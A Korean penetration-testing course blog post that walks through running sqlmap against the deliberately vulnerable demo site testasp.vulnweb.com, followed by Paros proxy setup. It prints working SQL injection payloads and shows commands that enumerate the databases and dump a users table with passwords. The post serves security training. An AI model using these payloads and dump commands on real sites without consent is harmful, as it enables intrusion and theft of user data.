블로그 이미지
22Hz 22Hz

카테고리

분류 전체보기 (109)
모의해킹 침해대응 전문가 과정 (99)
리눅스 설정 (10)
Total
Today
Yesterday

달력

« » 2024.4
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30

공지사항

태그목록

최근에 올라온 글

⑦ 모의 테스트 2 (DB 전문(sqlmap) 스캐너를 통한 점검)


        ■ 웹 취약점 스캐너

        - paros : 종합 툴 성격을 가지고 있다. 여러가지 취약점을 점검하는 웹취약점 스캐너이다.

        - sqlmap: SQL Injection 점검만 할 수 있다. SQL Injection 전용 취약점 스캐너이다.


아래 내용은 윈도우에서 python 설치하고 sqlmap을 설치하여 실습하는 내용이다.

(가정) 실제 실습은 KaliLinux에서 미리 설치된 sqlmap을 사용하여 실습을 진행한다.


하지만 윈도우에서도 실습할수 있도록 아래 내용을 참고 사항으로 붙여 놓는다.


[참고] 윈도우에서 python/sqlmap 설치 및 실습 하는 방법

sqlmap(파이썬 기반의 커맨 명령어)을 이용하여 SQL Injection에 대한 자세한 상세 점검을 한다.

 

        ■ 파이썬 다운로드/설치(EX: python-2.7.9)

        ■ sqlmap 다운로드/설치(EX: sqlmapproject-sqlmap-0.9-4110-g03f32ae)

 

python 다운로드 사이트

- http://python.org/download (python-2.7.9 버전을 다운로드 한다.)

 

sqlmap 프로그램 다운로드 사이트

- http://sqlmap.org/

 

sqlmap 관련 문서 사이트

- https://github.com/sqlmapproject/sqlmap/wiki

 

 

■ python 패키지 다운로드 및 설치(기본설치을 한다.)

 

https://www.python.org/downloads/windows/ 사이트에서 적당한 버전의 python을 다운로드 받는다.

 

특별한 옵션없이 기본설치를 진행한다.(EX: python-2.7.9)

 

 

 

■ sqlmap 다운로드 및 설치

 

다운로드 받은 파일을 C:\sqlpmap 디렉토리안에서 압축을 해제한다.

(예: C:\sqlmap\sqlmapproject-sqlmap-0.9-4110-g03f32ae\sqlmapproject-sqlmap-03f32ae)

 

압축이 해제 되었다면 디렉토리 구성을 다시 하여야 실습이 편하다. 따라서 압축이 해제된 디렉토리 이름을 변경한다.

 

sqlmapproject-sqlmap-03f32ae 이름을 sqlmap 이름으로 변경한다.(EX: C:\sqlmap\sqlmap)

 

 

paros을 통해 얻은 정보 중 Alerts 부분에 High로 된 URL 중 한가지를 가지고 테스트한다.

        http://testasp.vulnweb.com/showforum.asp?=2

        http://testasp.vulnweb.com/showthread.asp?=3

 

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

 

C:\Users\soldesk>cd c:\sqlmap\sqlmap

c:\sqlmap\sqlmap>sqlmap.py -u testasp.vulnweb.com/showforum.asp?id=2

 

 

        [참고] 에러메세지가 발생하는 경우

        아래 메세지는 phython 설치 되지 않은 상태에서 sqlmap.py 툴을 돌렸을때 발생한다.

        c:\sqlmap\sqlmap>sqlmap.py -u testasp.vulnweb.com/showforum.asp?id=2

        Traceback (most recent call last):

          File "C:\sqlmap\sqlmap\sqlmap.py", line 23, in <module>

            from lib.utils import versioncheck  # this has to be the first non-standard import

        ImportError: No module named lib.utils

        -> python 설치하고 sqlmap.py 툴을 다시 실행하면 해결된다.

 

나머지 실습은 KaliLinux에서 하는 실습과 동일하다.


(KaliLinux)


(가정) 실습은 미리설치된 sqlmap을 사용하여 KaliLinux에서 실습을 진행한다.


paros을 통해 얻은 정보 중 Alerts 부분에 High로 된 URL 중 한가지를 가지고 테스트한다.

        http://testasp.vulnweb.com/showforum.asp?=2

        http://testasp.vulnweb.com/showthread.asp?=3


# sqlmap --help

Usage: python sqlmap [options]

 

Options:

  -h, --help            Show basic help message and exit

  -hh                   Show advanced help message and exit

  --version             Show program's version number and exit

  -v VERBOSE            Verbosity level: 0-6 (default 1)

 

  Target:

    At least one of these options has to be provided to define the target(s)

 

    -d DIRECT           Connection string for direct database connection

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")

    -l LOGFILE          Parse target(s) from Burp or WebScarab proxy log file

    -x SITEMAPURL       Parse target(s) from remote sitemap(.xml) file

    -m BULKFILE         Scan multiple targets given in a textual file

    -r REQUESTFILE      Load HTTP request from a file

    -g GOOGLEDORK       Process Google dork results as target URLs

    -c CONFIGFILE       Load options from a configuration INI file

 

  Request:

    These options can be used to specify how to connect to the target URL

 

    --method=METHOD     Force usage of given HTTP method (e.g. PUT)

    --data=DATA         Data string to be sent through POST

    --param-del=PARA..  Character used for splitting parameter values

    --cookie=COOKIE     HTTP Cookie header value

    --cookie-del=COO..  Character used for splitting cookie values

    --load-cookies=L..  File containing cookies in Netscape/wget format

    --drop-set-cookie   Ignore Set-Cookie header from response

    --user-agent=AGENT  HTTP User-Agent header value

    --random-agent      Use randomly selected HTTP User-Agent header value

    --host=HOST         HTTP Host header value

    --referer=REFERER   HTTP Referer header value

    --headers=HEADERS   Extra headers (e.g. "Accept-Language: fr\nETag: 123")

    --auth-type=AUTH..  HTTP authentication type (Basic, Digest, NTLM or PKI)

    --auth-cred=AUTH..  HTTP authentication credentials (name:password)

    --auth-private=A..  HTTP authentication PEM private key file

    --ignore-401        Ignore HTTP Error 401 (Unauthorized)

    --proxy=PROXY       Use a proxy to connect to the target URL

    --proxy-cred=PRO..  Proxy authentication credentials (name:password)

    --proxy-file=PRO..  Load proxy list from a file

    --ignore-proxy      Ignore system default proxy settings

    --tor               Use Tor anonymity network

    --tor-port=TORPORT  Set Tor proxy port other than default

    --tor-type=TORTYPE  Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5)

    --check-tor         Check to see if Tor is used properly

    --delay=DELAY       Delay in seconds between each HTTP request

    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)

    --retries=RETRIES   Retries when the connection timeouts (default 3)

    --randomize=RPARAM  Randomly change value for given parameter(s)

    --safe-url=SAFURL   URL address to visit frequently during testing

    --safe-freq=SAFREQ  Test requests between two visits to a given safe URL

    --skip-urlencode    Skip URL encoding of payload data

    --csrf-token=CSR..  Parameter used to hold anti-CSRF token

    --csrf-url=CSRFURL  URL address to visit to extract anti-CSRF token

    --force-ssl         Force usage of SSL/HTTPS

    --hpp               Use HTTP parameter pollution method

    --eval=EVALCODE     Evaluate provided Python code before the request (e.g.

                        "import hashlib;id2=hashlib.md5(id).hexdigest()")

 

  Optimization:

    These options can be used to optimize the performance of sqlmap

 

    -o                  Turn on all optimization switches

    --predict-output    Predict common queries output

    --keep-alive        Use persistent HTTP(s) connections

    --null-connection   Retrieve page length without actual HTTP response body

    --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)

 

  Injection:

    These options can be used to specify which parameters to test for,

    provide custom injection payloads and optional tampering scripts

 

    -p TESTPARAMETER    Testable parameter(s)

    --skip=SKIP         Skip testing for given parameter(s)

    --dbms=DBMS         Force back-end DBMS to this value

    --dbms-cred=DBMS..  DBMS authentication credentials (user:password)

    --os=OS             Force back-end DBMS operating system to this value

    --invalid-bignum    Use big numbers for invalidating values

    --invalid-logical   Use logical operations for invalidating values

    --invalid-string    Use random strings for invalidating values

    --no-cast           Turn off payload casting mechanism

    --no-escape         Turn off string escaping mechanism

    --prefix=PREFIX     Injection payload prefix string

    --suffix=SUFFIX     Injection payload suffix string

    --tamper=TAMPER     Use given script(s) for tampering injection data

 

  Detection:

    These options can be used to customize the detection phase

 

    --level=LEVEL       Level of tests to perform (1-5, default 1)

    --risk=RISK         Risk of tests to perform (0-3, default 1)

    --string=STRING     String to match when query is evaluated to True

    --not-string=NOT..  String to match when query is evaluated to False

    --regexp=REGEXP     Regexp to match when query is evaluated to True

    --code=CODE         HTTP code to match when query is evaluated to True

    --text-only         Compare pages based only on the textual content

    --titles            Compare pages based only on their titles

 

  Techniques:

    These options can be used to tweak testing of specific SQL injection

    techniques

 

    --technique=TECH    SQL injection techniques to use (default "BEUSTQ")

    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)

    --union-cols=UCOLS  Range of columns to test for UNION query SQL injection

    --union-char=UCHAR  Character to use for bruteforcing number of columns

    --union-from=UFROM  Table to use in FROM part of UNION query SQL injection

    --dns-domain=DNS..  Domain name used for DNS exfiltration attack

    --second-order=S..  Resulting page URL searched for second-order response

 

  Fingerprint:

    -f, --fingerprint   Perform an extensive DBMS version fingerprint

 

  Enumeration:

    These options can be used to enumerate the back-end database

    management system information, structure and data contained in the

    tables. Moreover you can run your own SQL statements

 

    -a, --all           Retrieve everything

    -b, --banner        Retrieve DBMS banner

   --current-user      Retrieve DBMS current user

    --current-db        Retrieve DBMS current database

    --hostname          Retrieve DBMS server hostname

    --is-dba            Detect if the DBMS current user is DBA

    --users             Enumerate DBMS users

    --passwords         Enumerate DBMS users password hashes

    --privileges        Enumerate DBMS users privileges

    --roles             Enumerate DBMS users roles

    --dbs               Enumerate DBMS databases

    --tables            Enumerate DBMS database tables

    --columns           Enumerate DBMS database table columns

    --schema            Enumerate DBMS schema

    --count             Retrieve number of entries for table(s)

    --dump              Dump DBMS database table entries

    --dump-all          Dump all DBMS databases tables entries

    --search            Search column(s), table(s) and/or database name(s)

    --comments          Retrieve DBMS comments

    -D DB               DBMS database to enumerate

    -T TBL              DBMS database table(s) to enumerate

    -C COL              DBMS database table column(s) to enumerate

    -X EXCLUDECOL       DBMS database table column(s) to not enumerate

    -U USER             DBMS user to enumerate

    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables

    --where=DUMPWHERE   Use WHERE condition while table dumping

    --start=LIMITSTART  First query output entry to retrieve

    --stop=LIMITSTOP    Last query output entry to retrieve

    --first=FIRSTCHAR   First query output word character to retrieve

    --last=LASTCHAR     Last query output word character to retrieve

    --sql-query=QUERY   SQL statement to be executed

    --sql-shell         Prompt for an interactive SQL shell

    --sql-file=SQLFILE  Execute SQL statements from given file(s)

 

  Brute force:

    These options can be used to run brute force checks

 

    --common-tables     Check existence of common tables

    --common-columns    Check existence of common columns

 

  User-defined function injection:

    These options can be used to create custom user-defined functions

 

    --udf-inject        Inject custom user-defined functions

    --shared-lib=SHLIB  Local path of the shared library

 

  File system access:

    These options can be used to access the back-end database management

    system underlying file system

 

    --file-read=RFILE   Read a file from the back-end DBMS file system

    --file-write=WFILE  Write a local file on the back-end DBMS file system

    --file-dest=DFILE   Back-end DBMS absolute filepath to write to

 

  Operating system access:

    These options can be used to access the back-end database management

    system underlying operating system

 

    --os-cmd=OSCMD      Execute an operating system command

    --os-shell          Prompt for an interactive operating system shell

    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC

    --os-smbrelay       One click prompt for an OOB shell, Meterpreter or VNC

    --os-bof            Stored procedure buffer overflow exploitation

    --priv-esc          Database process user privilege escalation

    --msf-path=MSFPATH  Local path where Metasploit Framework is installed

    --tmp-path=TMPPATH  Remote absolute path of temporary files directory

 

  Windows registry access:

    These options can be used to access the back-end database management

    system Windows registry

 

    --reg-read          Read a Windows registry key value

    --reg-add           Write a Windows registry key value data

    --reg-del           Delete a Windows registry key value

    --reg-key=REGKEY    Windows registry key

    --reg-value=REGVAL  Windows registry key value

    --reg-data=REGDATA  Windows registry key value data

    --reg-type=REGTYPE  Windows registry key value type

 

  General:

    These options can be used to set some general working parameters

 

    -s SESSIONFILE      Load session from a stored (.sqlite) file

    -t TRAFFICFILE      Log all HTTP traffic into a textual file

    --batch             Never ask for user input, use the default behaviour

    --charset=CHARSET   Force character encoding used for data retrieval

    --crawl=CRAWLDEPTH  Crawl the website starting from the target URL

    --csv-del=CSVDEL    Delimiting character used in CSV output (default ",")

    --dump-format=DU..  Format of dumped data (CSV (default), HTML or SQLITE)

    --eta               Display for each output the estimated time of arrival

    --flush-session     Flush session files for current target

    --forms             Parse and test forms on target URL

    --fresh-queries     Ignore query results stored in session file

    --hex               Use DBMS hex function(s) for data retrieval

    --output-dir=OUT..  Custom output directory path

    --parse-errors      Parse and display DBMS error messages from responses

    --pivot-column=P..  Pivot column name

    --save              Save options to a configuration INI file

    --scope=SCOPE       Regexp to filter targets from provided proxy log

    --test-filter=TE..  Select tests by payloads and/or titles (e.g. ROW)

    --update            Update sqlmap

 

  Miscellaneous:

    -z MNEMONICS        Use short mnemonics (e.g. "flu,bat,ban,tec=EU")

    --alert=ALERT       Run host OS command(s) when SQL injection is found

    --answers=ANSWERS   Set question answers (e.g. "quit=N,follow=N")

    --beep              Make a beep sound when SQL injection is found

    --cleanup           Clean up the DBMS from sqlmap specific UDF and tables

    --dependencies      Check for missing (non-core) sqlmap dependencies

    --disable-coloring  Disable console output coloring

    --gpage=GOOGLEPAGE  Use Google dork results from specified page number

    --identify-waf      Make a through testing for a WAF/IPS/IDS protection

    --mobile            Imitate smartphone through HTTP User-Agent header

    --page-rank         Display page rank (PR) for Google dork results

    --purge-output      Safely remove all content from output directory

    --smart             Conduct through tests only if positive heuristic(s)

    --sqlmap-shell      Prompt for an interactive sqlmap shell

    --wizard            Simple wizard interface for beginner users

-> 사용하는 방법이 다양한다.


■ 타겟 웹사이트에 대한 기본테스트 진행

# sqlmap -u testasp.vulnweb.com/showforum.asp?id=2

         _

 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150410}

|_ -| . | |     | .'| . |

|___|_  |_|_|_|_|__,|  _|

      |_|           |_|   http://sqlmap.org

 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

 

[*] starting at 10:26:45

 

[10:26:46] [WARNING] using '/root/.sqlmap/output' as the output directory

[10:26:46] [INFO] testing connection to the target URL

[10:26:47] [WARNING] reflective value(s) found and filtering out

[10:26:47] [INFO] testing if the target URL is stable. This can take a couple of seconds

[10:26:49] [INFO] target URL is stable

[10:26:49] [INFO] testing if GET parameter 'id' is dynamic

[10:26:49] [INFO] heuristics detected web page charset 'ascii'

[10:26:49] [INFO] confirming that GET parameter 'id' is dynamic

[10:26:50] [WARNING] GET parameter 'id' does not appear dynamic

[10:26:51] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable

[10:26:51] [INFO] testing for SQL injection on GET parameter 'id'

[10:26:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[10:26:54] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="about")

[10:26:58] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'Microsoft SQL Server'

do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1) values? [Y/n] Y

[10:27:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'

[10:27:15] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'

[10:27:16] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'

[10:27:16] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' injectable

[10:27:16] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'

[10:27:17] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase inline queries' injectable

[10:27:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'

[10:27:17] [WARNING] time-based comparison requires larger statistical model, please wait..........                         

[10:27:44] [INFO] GET parameter 'id' seems to be 'Microsoft SQL Server/Sybase stacked queries' injectable

[10:27:44] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'

[10:28:05] [INFO] GET parameter 'id' seems to be 'Microsoft SQL Server/Sybase time-based blind' injectable

[10:28:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'

[10:28:05] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found

[10:28:07] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test

[10:28:10] [INFO] target URL appears to have 2 columns in query

[10:28:13] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Y

sqlmap identified the following injection points with a total of 41 HTTP(s) requests:

---

Parameter: id (GET)

    Type: boolean-based blind   /* 참/거짓 기반의 공격 */

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=2 AND 7352=7352

 

    Type: error-based           /* 에러 기반의 공격 */

    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause

    Payload: id=2 AND 5363=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (5363=5363) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113)))

 

    Type: UNION query           /* Union 쿼리를 이용한 공격 */

    Title: Generic UNION query (NULL) - 2 columns

    Payload: id=-5233 UNION ALL SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+CHAR(72)+CHAR(98)+CHAR(116)+CHAR(112)+CHAR(102)+CHAR(83)+CHAR(88)+CHAR(102)+CHAR(113)+CHAR(101)+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113),NULL--

 

    Type: stacked queries       /* 누적된 쿼리 공격 */

    Title: Microsoft SQL Server/Sybase stacked queries

    Payload: id=2; WAITFOR DELAY '0:0:5'--

 

    Type: AND/OR time-based blind    /* AND/OR을 이용한 시간 기반의 공격 */

    Title: Microsoft SQL Server/Sybase time-based blind

    Payload: id=2 WAITFOR DELAY '0:0:5'--

 

    Type: inline query          /* 내부 쿼리를 이용한 공격 */

    Title: Microsoft SQL Server/Sybase inline queries

    Payload: id=(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (9284=9284) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113))

---

[10:28:59] [INFO] testing Microsoft SQL Server

[10:29:00] [INFO] confirming Microsoft SQL Server

[10:29:03] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2003 or XP

web application technology: ASP.NET, Microsoft IIS 6.0, ASP

back-end DBMS: Microsoft SQL Server 2005

[10:29:03] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 32 times

[10:29:03] [INFO] fetched data logged to text files under '/root/.sqlmap/output/testasp.vulnweb.com'

 

[*] shutting down at 10:29:03

-> 출력결과 해석

        웹서버의 운영체제 : Windows 2003 or XP

        웹 애플리케이션   : ASP.NET, Microsoft IIS 6.0, ASP

        DBMS              : Microsoft SQL Server 2005


■ sqlmap의 출력된 내용 확인

# cd /root/.sqlmap/output/testasp.vulnweb.com && ls

log  session.sqlite  target.txt


# file *

log:            ASCII text

session.sqlite: SQLite 3.x database

target.txt:     ASCII text, with no line terminators


# cat log

sqlmap identified the following injection points with a total of 41 HTTP(s) requests:

---

Parameter: id (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=2 AND 7352=7352

 

    Type: error-based

    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause

    Payload: id=2 AND 5363=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (5363=5363) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113)))

 

    Type: UNION query

    Title: Generic UNION query (NULL) - 2 columns

    Payload: id=-5233 UNION ALL SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+CHAR(72)+CHAR(98)+CHAR(116)+CHAR(112)+CHAR(102)+CHAR(83)+CHAR(88)+CHAR(102)+CHAR(113)+CHAR(101)+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113),NULL--

 

    Type: stacked queries

    Title: Microsoft SQL Server/Sybase stacked queries

    Payload: id=2; WAITFOR DELAY '0:0:5'--

 

    Type: AND/OR time-based blind

    Title: Microsoft SQL Server/Sybase time-based blind

    Payload: id=2 WAITFOR DELAY '0:0:5'--

 

    Type: inline query

    Title: Microsoft SQL Server/Sybase inline queries

    Payload: id=(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (9284=9284) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113))

---

web server operating system: Windows 2003 or XP

web application technology: ASP.NET, Microsoft IIS 6.0, ASP

back-end DBMS: Microsoft SQL Server 2005

-> 필요하면 다른 파일에 대해서도 내용을 확인한다.

   # cat session.sqlite

   # cat target.txt


■ 데이터베이스 사용자 확인

# sqlmap -u testasp.vulnweb.com/showforum.asp?id=2 --batch --current-user

..... (중략) .....

[*] starting at 10:48:00

 

[10:48:00] [INFO] resuming back-end DBMS 'microsoft sql server'

[10:48:00] [INFO] testing connection to the target URL

[10:48:04] [WARNING] reflective value(s) found and filtering out

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Parameter: id (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=2 AND 7352=7352

 

    Type: error-based

    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause

    Payload: id=2 AND 5363=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (5363=5363) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113)))

 

    Type: UNION query

    Title: Generic UNION query (NULL) - 2 columns

    Payload: id=-5233 UNION ALL SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+CHAR(72)+CHAR(98)+CHAR(116)+CHAR(112)+CHAR(102)+CHAR(83)+CHAR(88)+CHAR(102)+CHAR(113)+CHAR(101)+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113),NULL--

 

    Type: stacked queries

    Title: Microsoft SQL Server/Sybase stacked queries

    Payload: id=2; WAITFOR DELAY '0:0:5'--

 

    Type: AND/OR time-based blind

    Title: Microsoft SQL Server/Sybase time-based blind

    Payload: id=2 WAITFOR DELAY '0:0:5'--

 

    Type: inline query

    Title: Microsoft SQL Server/Sybase inline queries

    Payload: id=(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (9284=9284) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113))

---

[10:48:04] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2003 or XP

web application technology: ASP.NET, Microsoft IIS 6.0, ASP

back-end DBMS: Microsoft SQL Server 2005

[10:48:04] [INFO] fetching current user

current user:    'acunetix'

[10:48:05] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 1 times

[10:48:05] [INFO] fetched data logged to text files under '/root/.sqlmap/output/testasp.vulnweb.com'

 

[*] shutting down at 10:48:05

-> --batch 옵션은 sqlmap 진행 도중 사용자 입력 요구하는 부분을 자동으로 처리하는 의미이다.

-> --current-user 옵션은 현재 DB 사용자를 확인하라는 의미이다.

-> 출력결과 해석

        현재 DB 사용자가 acunetix 사용자라는것을 확인할수 있다.



■ 데이터 베이스 정보를 확인

# sqlmap -u testasp.vulnweb.com/showforum.asp?id=2 --dbs --batch

..... (중략) .....

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Parameter: id (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=2 AND 7352=7352

 

    Type: error-based

    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause

    Payload: id=2 AND 5363=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (5363=5363) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113)))

 

    Type: UNION query

    Title: Generic UNION query (NULL) - 2 columns

    Payload: id=-5233 UNION ALL SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+CHAR(72)+CHAR(98)+CHAR(116)+CHAR(112)+CHAR(102)+CHAR(83)+CHAR(88)+CHAR(102)+CHAR(113)+CHAR(101)+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113),NULL--

 

    Type: stacked queries

    Title: Microsoft SQL Server/Sybase stacked queries

    Payload: id=2; WAITFOR DELAY '0:0:5'--

 

    Type: AND/OR time-based blind

    Title: Microsoft SQL Server/Sybase time-based blind

    Payload: id=2 WAITFOR DELAY '0:0:5'--

 

    Type: inline query

    Title: Microsoft SQL Server/Sybase inline queries

    Payload: id=(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (9284=9284) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113))

---

[10:53:35] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2003 or XP

web application technology: ASP.NET, Microsoft IIS 6.0, ASP

back-end DBMS: Microsoft SQL Server 2005

[10:53:35] [INFO] fetching database names

[10:53:36] [INFO] the SQL query used returns 7 entries

[10:53:37] [INFO] retrieved: acublog

[10:53:38] [INFO] retrieved: acuforum

[10:53:39] [INFO] retrieved: acuservice

[10:53:40] [INFO] retrieved: master

[10:53:41] [INFO] retrieved: model

[10:53:42] [INFO] retrieved: msdb

[10:53:43] [INFO] retrieved: tempdb

available databases [7]:                                                                   

[*] acublog

[*] acuforum

[*] acuservice

[*] master

[*] model

[*] msdb

[*] tempdb

 

[10:53:43] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 8 times

[10:53:43] [INFO] fetched data logged to text files under '/root/.sqlmap/output/testasp.vulnweb.com'

 

[*] shutting down at 10:53:43

-> --dbs 옵션은 현재 DB 정보를 확인할 때 사용한다.

-> 출력 결과 해석

        현재 DB 7개(acublog, acuforum, acuservice, master ...)가 존재하는것을 확인했다.





■ acuforum DB의 테이블을 확인

# sqlmap -u testasp.vulnweb.com/showforum.asp?id=2 --tables -D acuforum --batch

..... (중략) .....

[10:57:41] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2003 or XP

web application technology: ASP.NET, Microsoft IIS 6.0, ASP

back-end DBMS: Microsoft SQL Server 2005

[10:57:41] [INFO] fetching tables for database: acuforum

[10:57:42] [INFO] the SQL query used returns 4 entries

[10:57:47] [INFO] retrieved: dbo.forums

[10:57:48] [INFO] retrieved: dbo.posts

[10:57:50] [INFO] retrieved: dbo.threads

[10:57:51] [INFO] retrieved: dbo.users

Database: acuforum                                                                         

[4 tables]

+---------+

| forums  |

| posts   |

| threads |

| users   |

+---------+

 

[10:57:51] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 5 times

[10:57:51] [INFO] fetched data logged to text files under '/root/.sqlmap/output/testasp.vulnweb.com'

 

[*] shutting down at 10:57:51

-> -D 옵션은 특정한 DB을 지정할 때 사용한다.

-> --tables 옵션은 DB에 존재하는 tables을 검색할 때 사용한다.

-> 출력 결과 해석

        출력 결과에 4개(forums, posts, threads, users)의 테이블을 확인했다.


■ 확인된 테이블 중 dbo.users의 모든 정보(옵션 dump)를 확인

# sqlmap -u testasp.vulnweb.com/showforum.asp?id=2 --dump -T dbo.users -D acuforum --batch

..... (중략) .....

[11:03:13] [INFO] fetching columns for table 'users' in database 'acuforum'

[11:03:14] [INFO] the SQL query used returns 5 entries

[11:03:15] [INFO] retrieved: "avatar","nvarchar"

[11:03:17] [INFO] retrieved: "email","nvarchar"

[11:03:18] [INFO] retrieved: "realname","nvarchar"

[11:03:20] [INFO] retrieved: "uname","nvarchar"

[11:03:21] [INFO] retrieved: "upass","nvarchar"

[11:03:21] [INFO] fetching entries for table 'users' in database 'acuforum'               

[11:03:25] [INFO] fetching number of distinct values for column 'email'

[11:03:26] [INFO] using column 'email' as a pivot for retrieving row data

[11:03:58] [INFO] analyzing table dump for possible password hashes

Database: acuforum

Table: users

[5 entries]

+-----------+------------+----------------------+---------+---------------------+

| uname     | upass      | email                | avatar  | realname            |

+-----------+------------+----------------------+---------+---------------------+

| admin     | none       | admin@adminspace.com | <blank> | admin the allmighty |

| rawbite   | none       | lala                 | <blank> | lala                |

| John      | pass__word | test@stchina.com.cn  | <blank> | John                |

| test      | abcd1234   | test@tester.com      | <blank> | tester              |

| zkzx_test | 123456     | zkzx_test            | <blank> | zkzx test           |

+-----------+------------+----------------------+---------+---------------------+

 

[11:03:58] [WARNING] table 'acuforum.dbo.users' dumped to CSV file '/root/.sqlmap/output/testasp.vulnweb.com/dump/acuforum/users-639aca84.csv'

[11:03:58] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 33 times

[11:03:58] [INFO] fetched data logged to text files under '/root/.sqlmap/output/testasp.vulnweb.com'

 

[*] shutting down at 11:03:58

-> 출력된 내용에 users 테이블에 존재하는 사용자(uname)/패스워드(upass) 등을 확인할수 있다.


■ paros을 통해 POST 방식의 패러미터 확인


KaliLinux는 기본적으로 paros가 설치되어 있다.


paros 웹 proxy 설정

# paros &

        Tools > Options > Local proxy > OK

                Address : localhost

                Port    : 8000

        (주의) paros는 종료하지 않는다. paros는 proxy 서버이다.


웹브라우저에서 paros를 proxy 서버로 지정한다.

# firefox &

Preferences > Advanced > Network > Settings > OK > Close

        [ V ] Manual proxy configuration

                HTTP proxy : localhost    Port : 8000





웹브라우저에서 해당 사이트의 로그인 페이지에 접속한다.

